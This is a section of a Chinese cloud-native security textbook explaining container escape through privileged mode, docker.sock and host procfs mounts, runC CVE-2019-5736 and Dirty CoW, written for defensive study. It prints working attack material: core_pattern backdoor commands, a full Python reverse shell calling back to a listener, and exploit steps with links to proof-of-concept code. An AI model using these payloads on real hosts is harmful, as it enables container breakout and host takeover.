- 云原生安全:攻防實踐與體系構建
- 劉文懋 江國龍 浦明 阮博男 葉曉虎
- 5902字
- 2021-11-04 18:12:30
3.4.1 容器逃逸
與其他虛擬化技術類似,逃逸是最為嚴重的安全風險,直接危害了底層宿主機和整個云計算系統的安全。
截至成稿,對“容器逃逸”的解讀和研究仍為數不多。什么是容器逃逸,如何定義容器逃逸?對這個問題的深入理解有助于研究的展開。為了便于討論,我們將容器逃逸限定在一個較為狹窄的范圍,并以此展開討論。
“容器逃逸”是指以下一種過程和結果:首先,攻擊者通過劫持容器化業務邏輯或直接控制(CaaS等合法獲得容器控制權的場景)等方式,已經獲得了容器內某種權限下的命令執行能力;攻擊者利用這種命令執行能力,借助一些手段進而獲得該容器所在的直接宿主機上某種權限下的命令執行能力。
注意以下幾點:
1)基于計算機科學領域層式思想及分類討論的原則,我們定義“直接宿主機”概念,避免在容器逃逸問題內引入虛擬機逃逸問題。讀者可能會遇到“物理機運行虛擬機,虛擬機再運行容器”的場景,該場景下的直接宿主機指容器外層的虛擬機。
2)基于上述定義,從滲透測試的角度來看,這里理解的容器逃逸或許更趨向于歸入后滲透階段。
3)同樣基于分類討論的原則,我們僅僅討論某種技術的可行性,不刻意涉及隱藏與反隱藏、檢測與反檢測等問題。
4)將最終結果確定為獲得直接宿主機上的命令執行能力,而不包括宿主機文件或內存讀寫能力,或者說,我們認為這些是通往最終命令執行能力的手段。一些特殊的漏洞利用方式,如軟件供應鏈階段的能夠觸發漏洞的惡意鏡像、在容器內構造惡意符號鏈接、在容器內劫持動態鏈接庫等,其本質上還是攻擊者獲得了容器內某種權限下的命令執行能力,即使這種能力可能是間接的。
將這些注意點延伸開來,能夠獲得很有意思的見解。例如,結合第4點我們可以想到,在權限持久化攻防博弈的進程中,人們逐漸積累了眾多Linux場景下建立后門的方法。其中一大經典模式是向特定文件中寫入綁定shell或反彈shell語句,五花八門,不勝枚舉。
那么如果容器掛載了宿主機的某些文件或目錄,將掛載列表與前述用于建立后門而寫入shell的文件、目錄列表取交集,是不是就可以得到容器逃逸的可能途徑呢(見圖3-8)?進一步說,用于防御和檢測后門的思路和技術,經過改進和移植是否也能覆蓋掉某種類型的容器逃逸問題呢?

圖3-8 基于掛載的容器逃逸和后門利用技術的知識交集
帶著這些問題和理解,我們開始探索之旅。
1.不安全配置導致的容器逃逸
在這些年的迭代中,容器社區一直在努力將縱深防御、最小權限等理念和原則落地。例如,Docker已經將容器運行時的Capabilities黑名單機制改為如今的默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小權限。截至本書成稿時,Docker默認賦予容器近40項權限[1]中的14項[2]:
func DefaultCapabilities() []string { return []string{ "CAP_CHOWN", "CAP_DAC_OVERRIDE", "CAP_FSETID", "CAP_FOWNER", "CAP_MKNOD", "CAP_NET_RAW", "CAP_SETGID", "CAP_SETUID", "CAP_SETFCAP", "CAP_SETPCAP", "CAP_NET_BIND_SERVICE", "CAP_SYS_CHROOT", "CAP_KILL", "CAP_AUDIT_WRITE", } }
然而,無論是細粒度權限控制還是其他安全機制,用戶都可以通過修改容器環境配置或在運行容器時指定參數來調整約束,但如果用戶為容器設置了某些危險的配置參數,就為攻擊者提供了一定程度的逃逸可能性。
--privileged:特權模式運行容器
最初,容器特權模式的出現是為了幫助開發者實現Docker-in-Docker特性[3]。然而,在特權模式下運行的不完全受控容器將給宿主機帶來極大安全威脅。這里筆者將官方文檔對特權模式的描述[4]摘錄出來供參考:當操作者執行docker run --privileged時,Docker將允許容器訪問宿主機上的所有設備,同時修改AppArmor或SELinux的配置,使容器擁有與那些直接運行在宿主機上的進程幾乎相同的訪問權限。
如圖3-9所示,我們以特權模式和非特權模式創建了兩個容器,其中特權容器內部可以看到宿主機上的設備。

圖3-9 特權與非特權容器內看到的宿主機設備情況的差異
在這樣的場景下,從容器中逃逸出去易如反掌,手段也是多樣的。例如,攻擊者可以直接在容器內部掛載宿主機磁盤,然后將根目錄切換過去,如圖3-10所示。
至此,攻擊者已經基本從容器內逃逸出來了。我們說“基本”,是因為僅僅掛載了宿主機的根目錄,如果用ps查看進程,看到的還是容器內的進程,因為沒有掛載宿主機的procfs。當然,這些已經不是難題。

圖3-10 通過掛載宿主機根目錄實現容器逃逸
2.不安全掛載導致的容器逃逸
為了方便宿主機與虛擬機進行數據交換,幾乎所有主流虛擬機解決方案都會提供掛載宿主機目錄到虛擬機的功能。容器同樣如此。然而,將宿主機上的敏感文件或目錄掛載到容器內部——尤其是那些不完全受控的容器內部,往往會帶來安全問題。
盡管如此,在某些特定場景下,為了實現特定功能或方便操作(例如為了在容器內對容器進行管理,將Docker Socket掛載到容器內),人們還是選擇將外部敏感卷掛載入容器。隨著容器技術應用的逐漸深化,掛載操作變得愈加廣泛,由此而來的安全問題也呈現上升趨勢。
掛載Docker Socket的情況
Docker Socket是Docker守護進程監聽的UNIX域套接字,用來與守護進程通信——查詢信息或下發命令。如果在攻擊者可控的容器內掛載了該套接字文件(/var/run/docker.sock),容器逃逸就相當容易了。
我們通過一個實驗來展示這種逃逸的可能性:
1)首先創建一個容器并掛載/var/run/docker.sock文件。
2)在該容器內安裝Docker命令行客戶端。
3)接著使用該客戶端通過Docker Socket與Docker守護進程通信,發送命令創建并運行一個新的容器,將宿主機的根目錄掛載到新創建的容器內部。
4)在新容器內執行chroot,將根目錄切換到掛載的宿主機根目錄。
具體交互如圖3-11所示。

圖3-11 通過容器內掛載的docker.sock實現逃逸
與不安全配置導致的容器逃逸的情況類似,攻擊者已經基本從容器內逃逸出來了。我們說“基本”,是因為僅僅掛載了宿主機的根目錄,如果用ps查看進程,看到的還是容器內的進程,因為沒有掛載宿主機的procfs。
掛載宿主機procfs的情況
對于熟悉Linux和云計算的讀者來說,procfs絕對不是一個陌生的概念。procfs是一個偽文件系統,它動態反映著系統內進程及其他組件的狀態,其中有許多非常敏感、重要的文件。因此,將宿主機的procfs掛載到不受控的容器中也是十分危險的,尤其是在該容器內默認啟用root權限,且沒有開啟User Namespace時(截止到本書成稿時,Docker默認情況下沒有為容器開啟User Namespace)。
一般來說,我們不會將宿主機的procfs掛載到容器中。然而,筆者也觀察到,有些業務為了實現某些特殊需要,還是會將該文件系統掛載進來的。
procfs中的/proc/sys/kernel/core_pattern負責配置進程崩潰時內存轉儲數據的導出方式。從Linux手冊[5]中我們能獲得關于內存轉儲的詳細信息,這里摘錄其中一段對于我們后面的討論來說十分關鍵的信息:
從2.6.19內核版本開始,Linux支持在/proc/sys/kernel/core_pattern中使用新語法。如果該文件中的首個字符是管道符(|),那么該行的剩余內容將被當作用戶空間程序或腳本解釋并執行。
上述描述的新功能原本是為了方便用戶獲得并處理內存轉儲數據,然而,它提供的命令執行能力作為后門的這種思路十分巧妙,具有一定的隱蔽性,也成為攻擊者建立后門的理想候選地。
基于上述內容,我們做一個在掛載procfs的容器內利用core_pattern后門實現逃逸的實驗。
具體而言,攻擊者進入一個掛載了宿主機procfs(為方便區分,我們將其掛載到容器內的/host/proc)的容器中,具有root權限,然后向宿主機procfs寫入payload,接著制造崩潰,觸發內存轉儲即可。
如果是在宿主機上借此創建后門,只需執行如下命令并寫入payload即可:
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
然而,攻擊者在容器中,“/tmp”是容器中的路徑,直接這樣寫入是無法實現容器逃逸的,因為內核在尋找處理內存轉儲的程序時不會從容器文件系統的根目錄開始。我們需要構造類似下面的payload:
echo -e "|$CONTAINER_ABS_PATH/tmp/.x.py \rcore " > /host/proc/sys/ kernel/core_pattern
其中$CONTAINER_ABS_PATH是容器根目錄在宿主機上的絕對路徑。
如何確定它的值呢?首先執行如下命令:
cat /proc/mounts | grep docker
拿到當前容器在宿主機上的絕對路徑。這條命令的返回內容大致如下:
root@202ff7524361:/# cat /proc/mounts | grep docker overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/VTDJ53763 WGIATK7NRY53VRV7G:/var/lib/docker/overlay2/l/JDLR24DFPAO5VEGYH7PA6L6T4M:/ var/lib/docker/overlay2/l/WZFLTYLM5SYSL7HTEVX7DVETI6:/var/lib/docker/overlay2/ l/BPDW73UXX3ICGPFMZDIYQTLH27:/var/lib/docker/overlay2/l/3FREHXCJGJSOZQXFZ PLJDBN5TJ,upperdir=/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527 de607aa5126b19954f7cb21aedcc2b55471/diff,workdir=/var/lib/docker/overlay2/ 155c8884b1370a6614f30ac38b527de607aa5126b19954f7cb21aedcc2b55471/work 0 0
從返回結果可以得到:
workdir=/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527de607aa5126b199 54f7cb21aedcc2b55471/work
那么結合背景知識,我們可以得知當前容器在宿主機上的絕對路徑是:
/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527de607aa5126b19954f7cb21 aedcc2b55471/merged
至此,雖然我們不能直接在宿主機“/tmp/”下寫入“.x.py”,卻可以將
echo -e "|/tmp/.x.py \rcore " > /proc/sys/kernel/core_pattern
改為:
echo -e "|/var/lib/docker/overlay2/155c8884b1370a6614f30ac38b527de607aa5126b 19954f7cb21aedcc2b55471/merged/tmp/.x.py \rcore " > /host/proc/ sys/kernel/core_pattern
其他步驟不變。這樣一來,Linux轉儲機制在程序發生崩潰時就能夠順利找到我們在容器內部的“/tmp/.x.py”了。
接著,在容器內創建作為反彈shell的“/tmp/.x.py”[6]:
import os import pty import socket lhost = "172.17.0.1" # 根據實際情況修改 lport = 10000 # 根據實際情況修改 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost, lport)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main()
然后在攻擊者機器上開啟反彈shell監聽,例如:
ncat -lvnp 10000
最后,在容器內運行一個可以崩潰的程序即可,例如[7]:
#include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; }
3.相關程序漏洞導致的容器逃逸
所謂相關程序漏洞,指的是那些參與到容器生態中的服務端、客戶端程序自身存在的漏洞。
圖3-12[8]較為完整地展示了操作系統之上的容器及容器集群環境的程序組件。這里涉及的相關漏洞均分布在這些程序當中。

圖3-12 參與到容器生態中的程序
CVE-2019-5736:覆蓋宿主機上的runC文件
CVE-2019-5736是由波蘭CTF戰隊Dragon Sector在35C3 CTF賽后基于賽中一道沙盒逃逸題目獲得的啟發,對runC進行漏洞挖掘,成功發現的一個能夠覆蓋宿主機runC程序的容器逃逸漏洞。該漏洞于2019年2月11日通過郵件列表披露[9]。
我們在執行功能類似于docker exec的命令(其他如docker run等類似,不再討論)時,底層實際上是容器運行時在操作。例如runC,相應地,runc exec命令會被執行。它的最終效果是在容器內部執行用戶指定的程序。進一步講,就是在容器的各種命名空間內,受到各種限制(如Cgroups)的情況下,啟動一個進程。除此以外,這個操作與在宿主機上執行一個程序并無二致。
執行過程大體如下:runC啟動并加入到容器的命名空間,接著以自身(“/proc/self/exe”,后面會解釋)為范本啟動一個子進程,最后通過exec系統調用執行用戶指定的二進制程序。
這個過程看起來似乎沒有問題,現在,我們需要讓另一個角色出場——proc偽文件系統,即/proc。關于這個概念,Linux文檔[10]已經給出了詳盡的說明,這里我們主要關注/proc下的兩類文件:
1)/proc/[PID]/exe:它是一種特殊的符號鏈接,又被稱為magic links,指向進程自身對應的本地程序文件(例如我們執行ls,/proc/[ls-PID]/exe就指向/bin/ls)。
2)/proc/[PID]/fd/:這個目錄下包含了進程打開的所有文件描述符。
/proc/[PID]/exe的特殊之處在于,當打開這個文件時,在權限檢查通過的情況下,內核將直接返回一個指向該文件的描述符,而非按照傳統的打開方式做路徑解析和文件查找。這樣一來,它實際上繞過了mnt命名空間及chroot機制對一個進程能夠訪問到的文件路徑的限制。
那么,設想如下情況:在runc exec加入到容器的命名空間之后,容器內進程已經能夠通過內部/proc觀察到它,此時如果打開/proc/[runc-PID]/exe并寫入一些內容,就能夠實現將宿主機上的runc二進制程序覆蓋掉!這樣一來,下一次用戶調用runc來執行命令時,實際執行的將是攻擊者放置的指令。
在存在漏洞的容器環境內,上述思路是可行的,但是攻擊者想要在容器內實現宿主機上的代碼執行(逃逸),還需要突破兩個限制:
1)用戶權限限制,需要具有容器內部root權限。
2)Linux不允許修改正在運行的進程對應的本地二進制文件。
事實上,限制1經常不存在,很多容器就是以root身份啟動服務的;而限制2是可以克服的(下面的步驟3、4),我們可以現在思考一下下面的攻擊步驟:
1)將容器內的/bin/sh程序覆蓋為#!/proc/self/exe。
2)持續遍歷容器內/proc目錄,讀取每一個/proc/[PID]/cmdline,對“runc”做字符串匹配,直到找到runc進程號。
3)以只讀方式打開/proc/[runc-PID]/exe,拿到文件描述符fd。
4)持續嘗試以寫方式打開第3步中獲得的只讀fd(/proc/self/fd/[fd]),一開始總是返回失敗,直到runc結束占用后寫方式打開成功,立即通過該fd向宿主機上的/usr/bin/runc(名字也可能是“/usr/bin/docker-runc”)寫入攻擊載荷。
5)runc最后將執行用戶通過docker exec指定的/bin/sh,它的內容在第1步中已經被替換成#!/proc/self/exe,因此實際上將執行宿主機上的runc,而runc也已經在第4步中被我們覆蓋掉了。
邏輯上沒問題,實踐一下。先在本地搭建漏洞環境(圖3-13給出了Docker和runC的版本號,供參照),大家可以使用開源的metarget靶機項目在Ubuntu服務器上一鍵部署漏洞環境,在參照項目主頁安裝metarget后,直接執行以下命令:
./metarget cnv install cve-2019-5736
即可安裝好存在CVE-2019-5736漏洞的Docker。
環境搭建好后,運行一個容器,在容器中模仿攻擊者執行/poc程序[11],該程序在覆蓋容器內/bin/sh為#!/proc/self/exe后等待runc的出現。具體過程如圖3-13所示(圖中下方“找到PID為28的進程并獲得文件描述符”是宿主機上受害者執行docker exec操作之后才觸發的)。

圖3-13 模擬攻擊者執行CVE-2019-5736漏洞利用程序
運行容器內的/poc程序后,我們在容器外的宿主機上模仿受害者使用docker exec命令執行容器內/bin/sh打開shell的場景。觸發漏洞后,確實沒有交互式shell打開,相反,“/tmp”下已經出現攻擊者寫入的“hello,host”,具體過程如圖3-14所示。

圖3-14 模擬受害者執行容器內/bin/sh觸發漏洞
這里我們進行概念性驗證,所以僅僅向宿主機寫入文件。事實上,該漏洞的真正效果是命令的執行,攻擊者可以做的事情其實很多。
4.內核漏洞導致的容器逃逸
Linux內核漏洞的危害之大、影響范圍之廣,使得它在各種攻防話題中都占據非常重要的一席。無論是傳統的權限提升、Rootkit(隱蔽通信和高權限訪問持久化)、DoS(拒絕服務攻擊),還是如今我們談論的容器逃逸,一旦有內核漏洞加持,利用條件往往就會從不可行變為可行,從難利用變為易利用。事實上,無論攻防場景怎樣變化,我們對內核漏洞的利用往往都是從用戶空間非法進入內核空間開始,到內核空間賦予當前或其他進程高權限后回到用戶空間結束。
從操作系統層面來看,容器進程只是一種受到各種安全機制約束的進程,因此從攻防兩端來看,容器逃逸都遵循傳統的權限提升流程。攻擊者可以憑借此特點拓展容器逃逸的思路,一旦有新的內核漏洞產生,就可以考慮它是否能夠用于容器逃逸;而防守者則能夠針對此特征進行防護和檢測,如宿主機內核打補丁,或檢查該內核漏洞利用有什么特點。
我們的關注點并非是內核漏洞,列舉并剖析過多內核漏洞無益,但我們可以提出如下問題:為何內核漏洞能夠用于容器逃逸,在具體實施過程中與內核漏洞用于傳統權限提升有什么不同,在有了內核漏洞利用代碼之后還需要做哪些工作才能實現容器逃逸,這些工作是否能夠工程化,進而形成固定套路?這些問題將把我們帶入更深層次的研究中,也會有不一樣的收獲。
CVE-2016-5195:內存頁的寫時復制問題
近年來,Linux系統曝出無數內核漏洞,其中不少能夠用來提權,經典的臟牛(CVE-2016-5195依賴于內存頁的寫時復制機制,該機制英文名稱為Copy-on-Write,再結合內存頁特性,將漏洞命名為Dirty CoW,譯為“臟牛”)大概是其中最有名氣的漏洞之一。漏洞發現者甚至為其申請了專屬域名:dirtycow.ninja[12]。
關于臟牛漏洞的分析和利用文章早已多如牛毛,這里我們使用來自scumjr的PoC[13]來完成容器逃逸。該利用的核心思路是向vDSO內寫入shellcode,并劫持正常函數的調用過程。
首先布置好實驗環境,然后在宿主機上以root權限創建/root/flag并寫入以下內容:
flag{Welcome_2_the_real_world}
接著進入容器,執行漏洞利用程序,在攻擊者指定的競爭條件勝出后,可以獲得宿主機上反彈過來的shell,在shell中成功讀取之前創建的高權限flag,如圖3-15所示。讀者可以自行驗證。

圖3-15 利用CVE-2016-5195漏洞實現容器逃逸
[1] http://man7.org/linux/man-pages/man7/capabilities.7.html。
[2] https://github.com/moby/moby/blob/a874c42edac24ab5c22d56e49e9262eec6fd8e63/oci/caps/defaults.go#L4。
[3] https://www.docker.com/blog/docker-can-now-run-within-docker。
[4] https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities。
[5] http://man7.org/linux/man-pages/man5/core.5.html。
[6] 隨書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0304-運行時攻擊/01-容器逃逸/tmp-dot-x.py。
[7] 隨書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/blob/main/code/0304- 運行時攻擊/01- 容器逃逸/cause-core-dump.c。
[8] 圖片來自https://containerd.io。
[9] https://www.openwall.com/lists/oss-security/2019/02/11/2。
[10] http://man7.org/linux/man-pages/man5/proc.5.html。
[11] https://github.com/Frichetten/CVE-2019-5736-PoC。隨書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0304-運行時攻擊/01-容器逃逸/CVE-2019-5736。
[12] 在筆者的印象中,上一個申請了域名的嚴重漏洞還是2014年的心臟滴血(CVE-2014-0160,heartbleed.com)。自這兩個漏洞開始,越來越多的研究人員開始為他們發現的高危漏洞申請域名(盡管依然是極少數)。
[13] https://github.com/scumjr/dirtycow-vdso.git。隨書代碼倉庫路徑:https://github.com/brant-ruan/cloud-native-security-book/tree/main/code/0304-運行時攻擊/01-容器逃逸/CVE-2016-5195。